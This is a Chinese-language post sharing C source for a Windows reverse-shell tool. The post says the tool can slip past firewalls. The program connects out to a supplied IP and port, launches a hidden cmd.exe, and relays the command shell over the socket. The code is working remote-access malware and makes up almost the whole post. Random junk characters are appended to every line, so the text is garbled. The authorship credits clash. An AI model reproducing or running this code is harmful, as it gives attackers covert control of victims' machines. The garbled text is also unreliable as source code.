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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Q 9&kJ%Mo  
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/* ============================== ii0Ce}8d~  
Rebound port in Windows NT @Ehn(}  
By wind,2006/7 iIGbHn,/  
===============================*/ zPKr/  
#include 08m;{+|vY  
#include Mf#83 <&K  
cbu@*NzY,  
#pragma comment(lib,"wsock32.lib") =60~UM  
EIf ~dOgH  
void OutputShell(); leiW4Fj  
SOCKET sClient; mG1 IQ!  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Zf>^4_x3P  
`j9$T:`  
void main(int argc,char **argv) vkRi5!bR  
{ a%Jx `hx  
WSADATA stWsaData; <_./SC  
int nRet; B,(Heg  
SOCKADDR_IN stSaiClient,stSaiServer; y9|K|xO[  
Fv)7c4  
if(argc != 3) =4 X]gW  
{ )P>u9=?,=E  
printf("Useage:\n\rRebound DestIP DestPort\n"); zK+52jhi  
return; NS,5/t  
} 6dEyv99  
da$BUAqU  
WSAStartup(MAKEWORD(2,2),&stWsaData); H2-28XGc  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); AP\ofLmq  
,A5)<}  
stSaiClient.sin_family = AF_INET; )Os Lrq/  
stSaiClient.sin_port = htons(0); Y#01o&f0n  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ,`8Y8  
WnAd5#G  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) "MiD8wX-  
{ h.whjiCFa  
printf("Bind Socket Failed!\n"); )J3kxmlzQ  
return; >LF&EM]  
} )-/gLZsx  
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stSaiServer.sin_family = AF_INET; `$z)$VuP  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); O hR1Jaed  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); !|m9|  
'?Iif#Z1  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) "L2m-e6  
{ X^@[G8v%  
printf("Connect Error!"); YbMssd2Yg  
return; 1ZKzumF  
} fV ZW[9[  
OutputShell(); oVB"f  
} ]i8c\UV\  
PtKTm\,JL0  
void OutputShell() 3^G96]E  
{ BEw{X|7  
char szBuff[1024]; |tG+iF@4  
SECURITY_ATTRIBUTES stSecurityAttributes; :J(sXKr[C  
OSVERSIONINFO stOsversionInfo; hr U :Wr  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; j.QHkI1.  
STARTUPINFO stStartupInfo; ~/`X*n&  
char *szShell; &P n]  
PROCESS_INFORMATION stProcessInformation; c#q"\"  
unsigned long lBytesRead; A'"-m)1P  
!z=pP$81  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); M g!ra"  
1| xN%27>  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 'H=weH  
stSecurityAttributes.lpSecurityDescriptor = 0; d~[UXQC  
stSecurityAttributes.bInheritHandle = TRUE; gGKKs&n7  
~+m,im8}  
\X@IkL$r  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); E8tD)=1  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); z Z%/W)t  
iUNnPJh  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); OKQLv+q5K)  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^"tqdeCb=  
stStartupInfo.wShowWindow = SW_HIDE; &`PbO  
stStartupInfo.hStdInput = hReadPipe; glor+  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; $'$>UFR  
>0T3'/k<H  
GetVersionEx(&stOsversionInfo); kGD|c=K}  
z^~U]S3  
switch(stOsversionInfo.dwPlatformId) R]=SWE}U  
{ FT_k^CC  
case 1: lS3 _Ild  
szShell = "command.com"; 6{^*JC5nj  
break; |Qu_E  
default: f%1wMOzx  
szShell = "cmd.exe"; M,L@k  
break; 6bJ"$o  
} kGj]i@(PA4  
jf7pl8gv  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 5V rcR=?O  
;8EjjF [>  
send(sClient,szMsg,77,0); WH;xq^  
while(1) G4"lZM  
{ g)N54WV  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 0hZxN2r  
if(lBytesRead) 7 FIFSt  
{ w}b<D#0XC  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 9!S^^;PN&  
send(sClient,szBuff,lBytesRead,0); `^f}$R|  
} 7C YH'DL  
else "DzG Bu\  
{ _"v~"k 90^  
lBytesRead=recv(sClient,szBuff,1024,0); intvlki]be  
if(lBytesRead<=0) break; Wb'*lT0=  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Obg@YIwn  
} = jBL'|k5  
} 5#BF,-Jv  
0c-QIr}m  
return; _AAx )  
}
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